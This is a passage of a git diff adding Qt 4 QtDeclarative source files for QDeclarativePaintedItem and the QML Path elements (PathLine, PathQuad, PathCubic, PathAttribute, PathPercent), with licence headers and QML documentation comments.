+ Q_PROPERTY(int pixelCacheSize READ pixelCacheSize WRITE setPixelCacheSize)
+ Q_PROPERTY(bool smoothCache READ smoothCache WRITE setSmoothCache)
+ Q_PROPERTY(qreal contentsScale READ contentsScale WRITE setContentsScale NOTIFY contentsScaleChanged)
+
+
+public:
+ QDeclarativePaintedItem(QDeclarativeItem *parent=0);
+ ~QDeclarativePaintedItem();
+
+ QSize contentsSize() const;
+ void setContentsSize(const QSize &);
+
+ qreal contentsScale() const;
+ void setContentsScale(qreal);
+
+ int pixelCacheSize() const;
+ void setPixelCacheSize(int pixels);
+
+ bool smoothCache() const;
+ void setSmoothCache(bool on);
+
+ QColor fillColor() const;
+ void setFillColor(const QColor&);
+
+ void paint(QPainter *, const QStyleOptionGraphicsItem *, QWidget *);
+
+protected:
+ QDeclarativePaintedItem(QDeclarativePaintedItemPrivate &dd, QDeclarativeItem *parent);
+
+ virtual void drawContents(QPainter *p, const QRect &) = 0;
+ virtual void geometryChanged(const QRectF &newGeometry,
+ const QRectF &oldGeometry);
+ virtual QVariant itemChange(GraphicsItemChange change,
+ const QVariant &value);
+
+ void setCacheFrozen(bool);
+ QRectF boundingRect() const;
+
+Q_SIGNALS:
+ void fillColorChanged();
+ void contentsSizeChanged();
+ void contentsScaleChanged();
+
+protected Q_SLOTS:
+ void dirtyCache(const QRect &);
+ void clearCache();
+
+private:
+ Q_DISABLE_COPY(QDeclarativePaintedItem)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePaintedItem)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativePaintedItem)
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativepainteditem_p_p.h b/src/declarative/graphicsitems/qdeclarativepainteditem_p_p.h
new file mode 100644
index 00000000..66aea6bf
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepainteditem_p_p.h
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEIMAGEITEM_P_H
+#define QDECLARATIVEIMAGEITEM_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativePaintedItemPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativePaintedItem)
+
+public:
+ QDeclarativePaintedItemPrivate()
+ : max_imagecache_size(100000), contentsScale(1.0), fillColor(Qt::transparent), cachefrozen(false), smoothCache(true)
+ {
+ }
+
+ struct ImageCacheItem {
+ ImageCacheItem() : age(0) {}
+ ~ImageCacheItem() { }
+ int age;
+ QRect area;
+ QRect dirty; // one dirty area (allows optimization of common cases)
+ QPixmap image;
+ };
+
+ QList<ImageCacheItem*> imagecache;
+
+ int max_imagecache_size;
+ QSize contentsSize;
+ qreal contentsScale;
+ QColor fillColor;
+ bool cachefrozen;
+ bool smoothCache;
+};
+
+QT_END_NAMESPACE
+#endif
diff --git a/src/declarative/graphicsitems/qdeclarativepath.cpp b/src/declarative/graphicsitems/qdeclarativepath.cpp
new file mode 100644
index 00000000..867a3b45
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepath.cpp
@@ -0,0 +1,922 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativepath_p.h"
+#include "private/qdeclarativepath_p_p.h"
+
+#include <QSet>
+#include <QTime>
+
+#include <private/qbezier_p.h>
+#include <QtCore/qmath.h>
+#include <QtCore/qnumeric.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass PathElement QDeclarativePathElement
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief PathElement is the base path type.
+
+ This type is the base for all path types. It cannot
+ be instantiated.
+
+ \sa Path, PathAttribute, PathPercent, PathLine, PathQuad, PathCubic
+*/
+
+/*!
+ \qmlclass Path QDeclarativePath
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief A Path object defines a path for use by \l PathView.
+
+ A Path is composed of one or more path segments - PathLine, PathQuad,
+ PathCubic.
+
+ The spacing of the items along the Path can be adjusted via a
+ PathPercent object.
+
+ PathAttribute allows named attributes with values to be defined
+ along the path.
+
+ \sa PathView, PathAttribute, PathPercent, PathLine, PathQuad, PathCubic
+*/
+QDeclarativePath::QDeclarativePath(QObject *parent)
+ : QObject(*(new QDeclarativePathPrivate), parent)
+{
+}
+
+QDeclarativePath::~QDeclarativePath()
+{
+}
+
+/*!
+ \qmlproperty real Path::startX
+ \qmlproperty real Path::startY
+ These properties hold the starting position of the path.
+*/
+qreal QDeclarativePath::startX() const
+{
+ Q_D(const QDeclarativePath);
+ return d->startX;
+}
+
+void QDeclarativePath::setStartX(qreal x)
+{
+ Q_D(QDeclarativePath);
+ if (qFuzzyCompare(x, d->startX))
+ return;
+ d->startX = x;
+ emit startXChanged();
+ processPath();
+}
+
+qreal QDeclarativePath::startY() const
+{
+ Q_D(const QDeclarativePath);
+ return d->startY;
+}
+
+void QDeclarativePath::setStartY(qreal y)
+{
+ Q_D(QDeclarativePath);
+ if (qFuzzyCompare(y, d->startY))
+ return;
+ d->startY = y;
+ emit startYChanged();
+ processPath();
+}
+
+/*!
+ \qmlproperty bool Path::closed
+ This property holds whether the start and end of the path are identical.
+*/
+bool QDeclarativePath::isClosed() const
+{
+ Q_D(const QDeclarativePath);
+ return d->closed;
+}
+
+/*!
+ \qmlproperty list<PathElement> Path::pathElements
+ This property holds the objects composing the path.
+
+ \default
+
+ A path can contain the following path objects:
+ \list
+ \i \l PathLine - a straight line to a given position.
+ \i \l PathQuad - a quadratic Bezier curve to a given position with a control point.
+ \i \l PathCubic - a cubic Bezier curve to a given position with two control points.
+ \i \l PathAttribute - an attribute at a given position in the path.
+ \i \l PathPercent - a way to spread out items along various segments of the path.
+ \endlist
+
+ \snippet doc/src/snippets/declarative/pathview/pathattributes.qml 2
+*/
+
+QDeclarativeListProperty<QDeclarativePathElement> QDeclarativePath::pathElements()
+{
+ Q_D(QDeclarativePath);
+ return QDeclarativeListProperty<QDeclarativePathElement>(this, d->_pathElements);
+}
+
+void QDeclarativePath::interpolate(int idx, const QString &name, qreal value)
+{
+ Q_D(QDeclarativePath);
+ if (!idx)
+ return;
+
+ qreal lastValue = 0;
+ qreal lastPercent = 0;
+ int search = idx - 1;
+ while(search >= 0) {
+ const AttributePoint &point = d->_attributePoints.at(search);
+ if (point.values.contains(name)) {
+ lastValue = point.values.value(name);
+ lastPercent = point.origpercent;
+ break;
+ }
+ --search;
+ }
+
+ ++search;
+
+ const AttributePoint &curPoint = d->_attributePoints.at(idx);
+
+ for (int ii = search; ii < idx; ++ii) {
+ AttributePoint &point = d->_attributePoints[ii];
+
+ qreal val = lastValue + (value - lastValue) * (point.origpercent - lastPercent) / (curPoint.origpercent - lastPercent);
+ point.values.insert(name, val);
+ }
+}
+
+void QDeclarativePath::endpoint(const QString &name)
+{
+ Q_D(QDeclarativePath);
+ const AttributePoint &first = d->_attributePoints.first();
+ qreal val = first.values.value(name);
+ for (int ii = d->_attributePoints.count() - 1; ii >= 0; ii--) {
+ const AttributePoint &point = d->_attributePoints.at(ii);
+ if (point.values.contains(name)) {
+ for (int jj = ii + 1; jj < d->_attributePoints.count(); ++jj) {
+ AttributePoint &setPoint = d->_attributePoints[jj];
+ setPoint.values.insert(name, val);
+ }
+ return;
+ }
+ }
+}
+
+void QDeclarativePath::processPath()
+{
+ Q_D(QDeclarativePath);
+
+ if (!d->componentComplete)
+ return;
+
+ d->_pointCache.clear();
+ d->_attributePoints.clear();
+ d->_path = QPainterPath();
+
+ AttributePoint first;
+ for (int ii = 0; ii < d->_attributes.count(); ++ii)
+ first.values[d->_attributes.at(ii)] = 0;
+ d->_attributePoints << first;
+
+ d->_path.moveTo(d->startX, d->startY);
+
+ QDeclarativeCurve *lastCurve = 0;
+ foreach (QDeclarativePathElement *pathElement, d->_pathElements) {
+ if (QDeclarativeCurve *curve = qobject_cast<QDeclarativeCurve *>(pathElement)) {
+ curve->addToPath(d->_path);
+ AttributePoint p;
+ p.origpercent = d->_path.length();
+ d->_attributePoints << p;
+ lastCurve = curve;
+ } else if (QDeclarativePathAttribute *attribute = qobject_cast<QDeclarativePathAttribute *>(pathElement)) {
+ AttributePoint &point = d->_attributePoints.last();
+ point.values[attribute->name()] = attribute->value();
+ interpolate(d->_attributePoints.count() - 1, attribute->name(), attribute->value());
+ } else if (QDeclarativePathPercent *percent = qobject_cast<QDeclarativePathPercent *>(pathElement)) {
+ AttributePoint &point = d->_attributePoints.last();
+ point.values[QLatin1String("_qfx_percent")] = percent->value();
+ interpolate(d->_attributePoints.count() - 1, QLatin1String("_qfx_percent"), percent->value());
+ }
+ }
+
+ // Fixup end points
+ const AttributePoint &last = d->_attributePoints.last();
+ for (int ii = 0; ii < d->_attributes.count(); ++ii) {
+ if (!last.values.contains(d->_attributes.at(ii)))
+ endpoint(d->_attributes.at(ii));
+ }
+
+ // Adjust percent
+ qreal length = d->_path.length();
+ qreal prevpercent = 0;
+ qreal prevorigpercent = 0;
+ for (int ii = 0; ii < d->_attributePoints.count(); ++ii) {
+ const AttributePoint &point = d->_attributePoints.at(ii);
+ if (point.values.contains(QLatin1String("_qfx_percent"))) { //special string for QDeclarativePathPercent
+ if ( ii > 0) {
+ qreal scale = (d->_attributePoints[ii].origpercent/length - prevorigpercent) /
+ (point.values.value(QLatin1String("_qfx_percent"))-prevpercent);
+ d->_attributePoints[ii].scale = scale;
+ }
+ d->_attributePoints[ii].origpercent /= length;
+ d->_attributePoints[ii].percent = point.values.value(QLatin1String("_qfx_percent"));
+ prevorigpercent = d->_attributePoints[ii].origpercent;
+ prevpercent = d->_attributePoints[ii].percent;
+ } else {
+ d->_attributePoints[ii].origpercent /= length;
+ d->_attributePoints[ii].percent = d->_attributePoints[ii].origpercent;
+ }
+ }
+
+ d->closed = lastCurve && d->startX == lastCurve->x() && d->startY == lastCurve->y();
+
+ emit changed();
+}
+
+void QDeclarativePath::classBegin()
+{
+ Q_D(QDeclarativePath);
+ d->componentComplete = false;
+}
+
+void QDeclarativePath::componentComplete()
+{
+ Q_D(QDeclarativePath);
+ QSet<QString> attrs;
+ d->componentComplete = true;
+
+ // First gather up all the attributes
+ foreach (QDeclarativePathElement *pathElement, d->_pathElements) {
+ if (QDeclarativePathAttribute *attribute =
+ qobject_cast<QDeclarativePathAttribute *>(pathElement))
+ attrs.insert(attribute->name());
+ }
+ d->_attributes = attrs.toList();
+
+ processPath();
+
+ foreach (QDeclarativePathElement *pathElement, d->_pathElements)
+ connect(pathElement, SIGNAL(changed()), this, SLOT(processPath()));
+}
+
+QPainterPath QDeclarativePath::path() const
+{
+ Q_D(const QDeclarativePath);
+ return d->_path;
+}
+
+QStringList QDeclarativePath::attributes() const
+{
+ Q_D(const QDeclarativePath);
+ if (!d->componentComplete) {
+ QSet<QString> attrs;
+
+ // First gather up all the attributes
+ foreach (QDeclarativePathElement *pathElement, d->_pathElements) {
+ if (QDeclarativePathAttribute *attribute =
+ qobject_cast<QDeclarativePathAttribute *>(pathElement))
+ attrs.insert(attribute->name());
+ }
+ return attrs.toList();
+ }
+ return d->_attributes;
+}
+
+static inline QBezier nextBezier(const QPainterPath &path, int *from, qreal *bezLength)
+{
+ const int lastElement = path.elementCount() - 1;
+ for (int i=*from; i <= lastElement; ++i) {
+ const QPainterPath::Element &e = path.elementAt(i);
+
+ switch (e.type) {
+ case QPainterPath::MoveToElement:
+ break;
+ case QPainterPath::LineToElement:
+ {
+ QLineF line(path.elementAt(i-1), e);
+ *bezLength = line.length();
+ QPointF a = path.elementAt(i-1);
+ QPointF delta = e - a;
+ *from = i+1;
+ return QBezier::fromPoints(a, a + delta / 3, a + 2 * delta / 3, e);
+ }
+ case QPainterPath::CurveToElement:
+ {
+ QBezier b = QBezier::fromPoints(path.elementAt(i-1),
+ e,
+ path.elementAt(i+1),
+ path.elementAt(i+2));
+ *bezLength = b.length();
+ *from = i+3;
+ return b;
+ }
+ default:
+ break;
+ }
+ }
+ *from = lastElement;
+ *bezLength = 0;
+ return QBezier();
+}
+
+void QDeclarativePath::createPointCache() const
+{
+ Q_D(const QDeclarativePath);
+ qreal pathLength = d->_path.length();
+ if (pathLength <= 0 || qIsNaN(pathLength))
+ return;
+ // more points means less jitter between items as they move along the
+ // path, but takes longer to generate
+ const int points = qCeil(pathLength*5);
+ const int lastElement = d->_path.elementCount() - 1;
+ d->_pointCache.resize(points+1);
+
+ int currElement = 0;
+ qreal bezLength = 0;
+ QBezier currBez = nextBezier(d->_path, &currElement, &bezLength);
+ qreal currLength = bezLength;
+ qreal epc = currLength / pathLength;
+
+ for (int i = 0; i < d->_pointCache.size(); i++) {
+ //find which set we are in
+ qreal prevPercent = 0;
+ qreal prevOrigPercent = 0;
+ for (int ii = 0; ii < d->_attributePoints.count(); ++ii) {
+ qreal percent = qreal(i)/points;
+ const AttributePoint &point = d->_attributePoints.at(ii);
+ if (percent < point.percent || ii == d->_attributePoints.count() - 1) { //### || is special case for very last item
+ qreal elementPercent = (percent - prevPercent);
+
+ qreal spc = prevOrigPercent + elementPercent * point.scale;
+
+ while (spc > epc) {
+ if (currElement > lastElement)
+ break;
+ currBez = nextBezier(d->_path, &currElement, &bezLength);
+ if (bezLength == 0.0) {
+ currLength = pathLength;
+ epc = 1.0;
+ break;
+ }
+ currLength += bezLength;
+ epc = currLength / pathLength;
+ }
+ qreal realT = (pathLength * spc - (currLength - bezLength)) / bezLength;
+ d->_pointCache[i] = currBez.pointAt(qBound(qreal(0), realT, qreal(1)));
+ break;
+ }
+ prevOrigPercent = point.origpercent;
+ prevPercent = point.percent;
+ }
+ }
+}
+
+QPointF QDeclarativePath::pointAt(qreal p) const
+{
+ Q_D(const QDeclarativePath);
+ if (d->_pointCache.isEmpty()) {
+ createPointCache();
+ if (d->_pointCache.isEmpty())
+ return QPointF();
+ }
+ int idx = qRound(p*d->_pointCache.size());
+ if (idx >= d->_pointCache.size())
+ idx = d->_pointCache.size() - 1;
+ else if (idx < 0)
+ idx = 0;
+ return d->_pointCache.at(idx);
+}
+
+qreal QDeclarativePath::attributeAt(const QString &name, qreal percent) const
+{
+ Q_D(const QDeclarativePath);
+ if (percent < 0 || percent > 1)
+ return 0;
+
+ for (int ii = 0; ii < d->_attributePoints.count(); ++ii) {
+ const AttributePoint &point = d->_attributePoints.at(ii);
+
+ if (point.percent == percent) {
+ return point.values.value(name);
+ } else if (point.percent > percent) {
+ qreal lastValue =
+ ii?(d->_attributePoints.at(ii - 1).values.value(name)):0;
+ qreal lastPercent =
+ ii?(d->_attributePoints.at(ii - 1).percent):0;
+ qreal curValue = point.values.value(name);
+ qreal curPercent = point.percent;
+
+ return lastValue + (curValue - lastValue) * (percent - lastPercent) / (curPercent - lastPercent);
+ }
+ }
+
+ return 0;
+}
+
+/****************************************************************************/
+
+qreal QDeclarativeCurve::x() const
+{
+ return _x;
+}
+
+void QDeclarativeCurve::setX(qreal x)
+{
+ if (_x != x) {
+ _x = x;
+ emit xChanged();
+ emit changed();
+ }
+}
+
+qreal QDeclarativeCurve::y() const
+{
+ return _y;
+}
+
+void QDeclarativeCurve::setY(qreal y)
+{
+ if (_y != y) {
+ _y = y;
+ emit yChanged();
+ emit changed();
+ }
+}
+
+/****************************************************************************/
+
+/*!
+ \qmlclass PathAttribute QDeclarativePathAttribute
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathAttribute allows setting an attribute at a given position in a Path.
+
+ The PathAttribute object allows attributes consisting of a name and
+ a value to be specified for various points along a path. The
+ attributes are exposed to the delegate as
+ \l{qdeclarativeintroduction.html#attached-properties} {Attached Properties}.
+ The value of an attribute at any particular point along the path is interpolated
+ from the PathAttributes bounding that point.
+
+ The example below shows a path with the items scaled to 30% with
+ opacity 50% at the top of the path and scaled 100% with opacity
+ 100% at the bottom. Note the use of the PathView.iconScale and
+ PathView.iconOpacity attached properties to set the scale and opacity
+ of the delegate.
+
+ \table
+ \row
+ \o \image declarative-pathattribute.png
+ \o
+ \snippet doc/src/snippets/declarative/pathview/pathattributes.qml 0
+ (see the PathView documentation for the specification of ContactModel.qml
+ used for ContactModel above.)
+ \endtable
+
+
+ \sa Path
+*/
+
+/*!
+ \qmlproperty string PathAttribute::name
+ This property holds the name of the attribute to change.
+
+ This attribute will be available to the delegate as PathView.<name>
+
+ Note that using an existing Item property name such as "opacity" as an
+ attribute is allowed. This is because path attributes add a new
+ \l{qdeclarativeintroduction.html#attached-properties} {Attached Property}
+ which in no way clashes with existing properties.
+*/
+
+/*!
+ the name of the attribute to change.
+*/
+
+QString QDeclarativePathAttribute::name() const
+{
+ return _name;
+}
+
+void QDeclarativePathAttribute::setName(const QString &name)
+{
+ if (_name == name)
+ return;
+ _name = name;
+ emit nameChanged();
+}
+
+/*!
+ \qmlproperty real PathAttribute::value
+ This property holds the value for the attribute.
+
+ The value specified can be used to influence the visual appearance
+ of an item along the path. For example, the following Path specifies
+ an attribute named \e itemRotation, which has the value \e 0 at the
+ beginning of the path, and the value 90 at the end of the path.
+
+ \qml
+ Path {
+ startX: 0
+ startY: 0
+ PathAttribute { name: "itemRotation"; value: 0 }
+ PathLine { x: 100; y: 100 }
+ PathAttribute { name: "itemRotation"; value: 90 }
+ }
+ \endqml
+
+ In our delegate, we can then bind the \e rotation property to the
+ \l{qdeclarativeintroduction.html#attached-properties} {Attached Property}
+ \e PathView.itemRotation created for this attribute.
+
+ \qml
+ Rectangle {
+ width: 10; height: 10
+ rotation: PathView.itemRotation
+ }
+ \endqml
+
+ As each item is positioned along the path, it will be rotated accordingly:
+ an item at the beginning of the path with be not be rotated, an item at
+ the end of the path will be rotated 90 degrees, and an item mid-way along
+ the path will be rotated 45 degrees.
+*/
+
+/*!
+ the new value of the attribute.
+*/
+qreal QDeclarativePathAttribute::value() const
+{
+ return _value;
+}
+
+void QDeclarativePathAttribute::setValue(qreal value)
+{
+ if (_value != value) {
+ _value = value;
+ emit valueChanged();
+ emit changed();
+ }
+}
+
+/****************************************************************************/
+
+/*!
+ \qmlclass PathLine QDeclarativePathLine
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathLine defines a straight line.
+
+ The example below creates a path consisting of a straight line from
+ 0,100 to 200,100:
+
+ \qml
+ Path {
+ startX: 0; startY: 100
+ PathLine { x: 200; y: 100 }
+ }
+ \endqml
+
+ \sa Path, PathQuad, PathCubic
+*/
+
+/*!
+ \qmlproperty real PathLine::x
+ \qmlproperty real PathLine::y
+
+ Defines the end point of the line.
+*/
+
+void QDeclarativePathLine::addToPath(QPainterPath &path)
+{
+ path.lineTo(x(), y());
+}
+
+/****************************************************************************/
+
+/*!
+ \qmlclass PathQuad QDeclarativePathQuad
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathQuad defines a quadratic Bezier curve with a control point.
+
+ The following QML produces the path shown below:
+ \table
+ \row
+ \o \image declarative-pathquad.png
+ \o
+ \qml
+ Path {
+ startX: 0; startY: 0
+ PathQuad { x: 200; y: 0; controlX: 100; controlY: 150 }
+ }
+ \endqml
+ \endtable
+
+ \sa Path, PathCubic, PathLine
+*/
+
+/*!
+ \qmlproperty real PathQuad::x
+ \qmlproperty real PathQuad::y
+
+ Defines the end point of the curve.
+*/
+
+/*!
+ \qmlproperty real PathQuad::controlX
+ \qmlproperty real PathQuad::controlY
+
+ Defines the position of the control point.
+*/
+
+/*!
+ the x position of the control point.
+*/
+qreal QDeclarativePathQuad::controlX() const
+{
+ return _controlX;
+}
+
+void QDeclarativePathQuad::setControlX(qreal x)
+{
+ if (_controlX != x) {
+ _controlX = x;
+ emit controlXChanged();
+ emit changed();
+ }
+}
+
+
+/*!
+ the y position of the control point.
+*/
+qreal QDeclarativePathQuad::controlY() const
+{
+ return _controlY;
+}
+
+void QDeclarativePathQuad::setControlY(qreal y)
+{
+ if (_controlY != y) {
+ _controlY = y;
+ emit controlYChanged();
+ emit changed();
+ }
+}
+
+void QDeclarativePathQuad::addToPath(QPainterPath &path)
+{
+ path.quadTo(controlX(), controlY(), x(), y());
+}
+
+/****************************************************************************/
+
+/*!
+ \qmlclass PathCubic QDeclarativePathCubic
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathCubic defines a cubic Bezier curve with two control points.
+
+ The following QML produces the path shown below:
+ \table
+ \row
+ \o \image declarative-pathcubic.png
+ \o
+ \qml
+ Path {
+ startX: 20; startY: 0
+ PathCubic {
+ x: 180; y: 0
+ control1X: -10; control1Y: 90
+ control2X: 210; control2Y: 90
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa Path, PathQuad, PathLine
+*/
+
+/*!
+ \qmlproperty real PathCubic::x
+ \qmlproperty real PathCubic::y
+
+ Defines the end point of the curve.
+*/
+
+/*!
+ \qmlproperty real PathCubic::control1X
+ \qmlproperty real PathCubic::control1Y
+
+ Defines the position of the first control point.
+*/
+qreal QDeclarativePathCubic::control1X() const
+{
+ return _control1X;
+}
+
+void QDeclarativePathCubic::setControl1X(qreal x)
+{
+ if (_control1X != x) {
+ _control1X = x;
+ emit control1XChanged();
+ emit changed();
+ }
+}
+
+qreal QDeclarativePathCubic::control1Y() const
+{
+ return _control1Y;
+}
+
+void QDeclarativePathCubic::setControl1Y(qreal y)
+{
+ if (_control1Y != y) {
+ _control1Y = y;
+ emit control1YChanged();
+ emit changed();
+ }
+}
+
+/*!
+ \qmlproperty real PathCubic::control2X
+ \qmlproperty real PathCubic::control2Y
+
+ Defines the position of the second control point.
+*/
+qreal QDeclarativePathCubic::control2X() const
+{
+ return _control2X;
+}
+
+void QDeclarativePathCubic::setControl2X(qreal x)
+{
+ if (_control2X != x) {
+ _control2X = x;
+ emit control2XChanged();
+ emit changed();
+ }
+}
+
+qreal QDeclarativePathCubic::control2Y() const
+{
+ return _control2Y;
+}
+
+void QDeclarativePathCubic::setControl2Y(qreal y)
+{
+ if (_control2Y != y) {
+ _control2Y = y;
+ emit control2YChanged();
+ emit changed();
+ }
+}
+
+void QDeclarativePathCubic::addToPath(QPainterPath &path)
+{
+ path.cubicTo(control1X(), control1Y(), control2X(), control2Y(), x(), y());
+}
+
+/****************************************************************************/
+
+/*!
+ \qmlclass PathPercent QDeclarativePathPercent
+ \ingroup qml-view-elements
+ \since 4.7
+ \brief The PathPercent manipulates the way a path is interpreted.
+
+ PathPercent allows you to manipulate the spacing between items on a
+ PathView's path. You can use it to bunch together items on part of
+ the path, and spread them out on other parts of the path.
+
+ The examples below show the normal distrubution of items along a path
+ compared to a distribution which places 50% of the items along the
+ PathLine section of the path.
+ \table
+ \row
+ \o \image declarative-nopercent.png
+ \o
+ \qml
+ PathView {
+ // ...
+ Path {
+ startX: 20; startY: 0
+ PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
+ PathLine { x: 150; y: 80 }
+ PathQuad { x: 180; y: 0; controlX: 200; controlY: 80 }
+ }
+ }
+ \endqml
+ \row
+ \o \image declarative-percent.png
+ \o
+ \qml
+ PathView {
+ // ...
+ Path {
+ startX: 20; startY: 0
+ PathQuad { x: 50; y: 80; controlX: 0; controlY: 80 }
+ PathPercent { value: 0.25 }
+ PathLine { x: 150; y: 80 }
+ PathPercent { value: 0.75 }
+ PathQuad { x: 180; y: 0; controlX: 200; controlY: 80 }
+ PathPercent { value: 1 }
+ }
+ }
+ \endqml
+ \endtable
+
+ \sa Path
+*/
+
+/*!
+ \qmlproperty real PathPercent::value
+ The proporation of items that should be laid out up to this point.
+
+ This value should always be higher than the last value specified
+ by a PathPercent at a previous position in the Path.
+
+ In the following example we have a Path made up of three PathLines.
+ Normally, the items of the PathView would be laid out equally along
+ this path, with an equal number of items per line segment. PathPercent
+ allows us to specify that the first and third lines should each hold
+ 10% of the laid out items, while the second line should hold the remaining
+ 80%.
+
+ \qml
+ PathView {
+ // ...
+ Path {
+ startX: 0; startY: 0
+ PathLine { x:100; y: 0; }
+ PathPercent { value: 0.1 }
+ PathLine { x: 100; y: 100 }
+ PathPercent { value: 0.9 }
+ PathLine { x: 100; y: 0 }
+ PathPercent { value: 1 }
+ }
+ }
+ \endqml
+*/
+
+qreal QDeclarativePathPercent::value() const
+{
+ return _value;
+}
+
+void QDeclarativePathPercent::setValue(qreal value)
+{
+ if (_value != value) {
+ _value = value;
+ emit valueChanged();
+ emit changed();
+ }
+}
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativepath_p.h b/src/declarative/graphicsitems/qdeclarativepath_p.h
new file mode 100644
index 00000000..d782428d
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativepath_p.h
@@ -0,0 +1,286 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEPATH_H
+#define QDECLARATIVEPATH_H
+
+#include "qdeclarativeitem.h"
+
+#include <qdeclarative.h>
+
+#include <QtCore/QObject>
+#include <QtGui/QPainterPath>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+class Q_AUTOTEST_EXPORT QDeclarativePathElement : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativePathElement(QObject *parent=0) : QObject(parent) {}
+Q_SIGNALS:
+ void changed();
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativePathAttribute : public QDeclarativePathElement
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_PROPERTY(qreal value READ value WRITE setValue NOTIFY valueChanged)
+public:
+ QDeclarativePathAttribute(QObject *parent=0) : QDeclarativePathElement(parent), _value(0) {}
+
+
+ QString name() const;
+ void setName(const QString &name);
+
+ qreal value() const;
+ void setValue(qreal value);
+
+Q_SIGNALS:
+ void nameChanged();
+ void valueChanged();
+
+private:
+ QString _name;
+ qreal _value;
+};
+
